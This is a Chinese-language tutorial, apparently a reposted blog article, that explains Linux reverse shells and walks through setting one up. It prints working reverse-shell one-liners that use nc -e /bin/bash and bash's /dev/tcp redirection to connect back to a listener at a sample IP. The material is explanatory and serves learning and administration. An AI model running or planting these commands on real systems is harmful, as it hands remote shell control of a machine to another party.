Linux - 反弹Shell

news2024/12/23 4:48:37

概念

Shell 估计大家都不陌生,简单来说,就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的 ssh 就是执行的 Shell 命令实现对远程对服务器的控制。

那反弹 Shell ( Reverse Shell)则是控制端首先监听某个 TCP/UDP 端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。

比如说,我们有两台主机 A、B,我们最终想实现在 A 上控制 B。那么如果用正向 Shell,其实就是在 A 上输入 B 的连接地址,比如通过 ssh 连接到 B,连接成功之后,我们就可以在 A 上通过命令控制 B 了。如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。

适用场景

通常情况下如果想用 ssh 等命令来实现 A 控制 B,首先得明确 B 的 sshd 地址或者端口,但是在很多情况下,由于防火墙、安全组、局域网、NAT 等原因,我们实际上是无法直接连接到 B 的,比如:

  • A 虽然有公网 IP,但 B 是一个处于内网的机器,A 就没法直接连到 B 上。
  • B 上开了防火墙或者安全组限制,sshd 的服务端口 22 被封闭了。
  • B 是一台拨号主机,其 IP 地址经常变动。
  • 假如 B 被攻击了,我们想让 B 向 A 汇报自己的状况,那自然就需要 B 主动去连接 A。

如果是这些情况,我们就可以用反弹 Shell 用 A 来控制 B 了。

实战

这里我们一共需要两台主机:

  • A 是控制端,可以处于公网之中,也可以和 B 处于一个局域网中,总之能让 B 找到 A 就行。
  • B 是被控端,可以处在局域网之中。

在开始之前我们需要在控制端用到 nc 命令来实现端口监听,CentOS 系列系统通过 yum install -y nc 即可。

接着,我们在 A 上执行如下命令:

nc -lvp 32767

这个命令的意思是开启 32767 的端口监听,运行之后如图所示:

在这里插入图片描述

这样就表明 A 上正在监听 32767 端口的连接了。

这时候,我们可以在被控端通过如下两种方式连接到 A:

  1. 在 B 上通过 nc 连接到 A

假如 A 的 IP 是 111.112.113.114,那么命令如下:

nc 111.112.113.114 32767 -e /bin/bash

注意:你在运行的时候需要替换成 A 的真实 IP 和端口。

运行完毕之后,我们反过来观察下 A,就显示了来自某个 IP 和端口的连接,我们就可以输入命令来控制 B 了,比如这里我们输入了:

cat /etc/redhat-release
uname -a

然后就可以得到 B 的系统版本信息了。

如图所示:

在这里插入图片描述

  1. 在 B 上通过 bash 连接到 A

命令如下:

bash -i >& /dev/tcp/111.112.113.114/32767 0>&1

这个命令大致解释下:

  • bash -i 就是产生一个 bash 交互环境
  • >& 可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方
  • /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址,因为 Linux 环境中所有内容的定义都是以文件的形式存在的,指定这个地址就是让主机和目标主机建立一个 TCP 连接。
  • 0>&1可以将标准输入和标准输出相结合,重定向给前面标准输出的内容。

通过这样的命令,我们就可以就是将 B的标准输出和错误输出都重定向给 A,并且将 A 的输入都重定向给 B,这样我们就可以实现 A 对 B 的远程控制了,如图所示:

在这里插入图片描述

注意

使用时若 A 主机开启防火墙,需要对监听端口放行,否则会导致 B 连不上A

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1498789.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ChatGPT/GPT4科研技术应用与AI绘图(包含Claude3、Gemini、Sora、GPTs中大模型的最新技术)

2023年随着OpenAI开发者大会的召开,最重磅更新当属GPTs,多模态API,未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义,不亚于互联网和个人电脑的问世。360创始人周鸿祎认为未来各行各业如果不能搭上这班车…

【数据结构】二、线性表:5.静态链表的定义及其基本操作(定义、初始化、插入、查找、删除、遍历、长度、特点)

文章目录 5.静态链表5.1定义5.2初始化5.3插入5.4查找5.5删除5.6遍历5.7长度5.8特点 5.静态链表 静态链表是使用数组来模拟链表结构的一种数据结构,用数组的方式实现的链表。 它与传统链表的区别在于,静态链表使用数组保存节点,每个节点包括…

Spark 搭建模式(本地、伪分布、全分布模式)

Spark搭建模式 Standalone模式 环境搭建 1.伪分布式 #1.进入$SPARK_HOME/conf [rootmaster ~] cd $SPARK_HOME/conf#2.拷贝spark-env.sh.template [rootmaster conf] cp spark-env.sh.template spark-env.sh [rootmaster conf] vi spark-env.sh# Options for the daemons u…

window mysql 安装出现的问题

1.安装到最后时,报错:authentication_string doesnt have a default value 解决办法: 1.不要关掉该页面,点击skip。 然后单击 back 回退到如下界面 2.去掉 Enable Strict Mode。 不要勾选 2. 最后一步:Start Servic…

变频器学习

西门子变频器 SINAMICS V20 入门级变频器 SINAMICS G120C

SpringMVC实用技术

1.校验框架 1.表单校验框架入门 表单校验的重要性 数据可以随意输入,导致错误的结果。表单校验保障了数据有效性、安全性 表单校验分类 校验位置: 客户端校验 服务端校验 校验内容与对应方式: 格式校验 客户端:使用Js技术…

Android fragment的使用案例

效果图:两个点击事件,显示不同的fragment布局 默认是如下图,点击页面一也如下图 点击页面二如下图: Android Fragment的生命周期是与其所在的Activity紧密相关的。当一个Fragment被添加到Activity中时,它将经历一系列…

挑战杯 基于深度学习的水果识别 设计 开题 技术

1 前言 Hi,大家好,这里是丹成学长,今天做一个 基于深度学习的水果识别demo 这是一个较为新颖的竞赛课题方向,学长非常推荐! 🧿 更多资料, 项目分享: https://gitee.com/dancheng-senior/pos…

YOLOv9(2):YOLOv9网络结构

1. 前言 本文仅以官方提供的yolov9.yaml来进行简要讲解。 讲解之前,还是要做一些简单的铺垫。 Slice层不做任何的操作,纯粹是做一个占位层。这样一来,在parse_model时,ch[n]可表示第n层的输出通道。 Detect和DDetect主要区别还…

Django cookie 与 session

Django cookie 与 session Cookie 是存储在客户端计算机上的文本文件,并保留了各种跟踪信息。 识别返回用户包括三个步骤: 服务器脚本向浏览器发送一组 Cookie。例如:姓名、年龄或识别号码等。浏览器将这些信息存储在本地计算机上&#xf…

如何理解Redis中的缓存雪崩,缓存穿透,缓存击穿?

目录 一、缓存雪崩 1.1 解决缓存雪崩问题 二、缓存穿透 2.1 解决缓存穿透 三、缓存击穿 3.1 解决缓存击穿 3.2 如何保证数据一致性问题? 一、缓存雪崩 缓存雪崩是指短时间内,有大量缓存同时过期,导致大量的请求直接查询数据库&#xf…

HTTP协议(请求方式,响应方式,请求行、头、体,状态码)是热点面试题【详解】

目录 1. HTTP简介 1.介绍 2.浏览器抓包 3.特点 2. HTTP请求 1.HTTP请求的格式 2.HTTP请求方式 3.GET方式的请求示例 请求行 请求头 请求体 4.POST方式的请求示例 请求行 请求头 请求体 GET和POST的区别 5.HTTP响应 1.HTTP响应的格式 2 常见响应头 3 响应…

python基础(11)《Allure报告中的组件用法》

使用 官方教程:https://docs.qameta.io/allure 入门 想要看到allure报告,需要做2个步骤: 1、pytest执行时关联allure:pytest命令带上--alluredir 结果存放目录或--alluredir结果存放目录; 2、打开执行报告&#xff…

前端性能优化 | CDN缓存

前言 CDN(Content Delivery Network)是一种分布式的网络架构,通过在全球各地部署节点服务器来快速传输和分发网络内容。CDN的主要目标是提供快速、可靠的内容传输,以提升用户体验。 本文主要从以下方面讲解CDN 什么是CDNCDN的作…

利用GPT开发应用003:GPT分词和预测

文章目录 一、概率问题二、令牌(分词)三、预测 一、概率问题 像 GPT 这样的大型语言模型接收一个提示,并返回通常在上下文中有意义的输出。例如,提示可以是“今天天气很好,所以我决定”(“The weather is n…

vite项目修改node_modules

问题详情 在使用某个依赖的时候遇到了bug,提交issue后不想一直等待到作者更新版本,所以寻求临时自己解决 问题解决 在node_modules里找到需要修改的依赖,修改想要修改的代码 修改后记得保存 然后在node_modules里找到.vite文件夹&#x…

便捷在线导入:完整Axure元件库集合,让你的设计更高效!

Axure元件库包含基本的工具组件,可以使原型绘制节省大量的重复工作,保持整个设计页面的一致性和标准化,同时显得专业。Axure元件库就像我们日常生活中的门把手、自行车踏板和桌子上的螺丝钉,需要组装才能使用。作为一名成熟的产品…

java集合(泛型数据结构)

1.泛型 1.1泛型概述 泛型的介绍 泛型是JDK5中引入的特性&#xff0c;它提供了编译时类型安全检测机制 泛型的好处 把运行时期的问题提前到了编译期间 避免了强制类型转换 泛型的定义格式 <类型>: 指定一种类型的格式.尖括号里面可以任意书写,一般只写一个字母.例如: …

职工医疗报销管理系统

目录 1 系统目标与范围说明... 0 1.1项目名称... 0 1.2问题说明... 0 1.3项目目标... 0 1.4项目范围... 0 1.5初步想法... 0 1.6可行性研究计划... 0 2 可行性分析报告... 1 2.1系统概述... 1 2.2可行性分析... 2 2.3结论意见... 2 3 项目开发计划... 2 3.1系统…

【笔记】Android Telephony 漫游SPN显示定制(Roaming Alpha Tag)

一、功能名词简介和显示规则 Alpha Tag&#xff1a;运营商名称标识符&#xff0c;也是用于标识运营商的一个名称。客户需求描述常用名词&#xff0c;对开发而言都是SPN/PLMN功能模块的内容&#xff0c;状态栏左上角的运营商名称显示。 SPN相关文章&#xff1a; 【笔记】SPN和…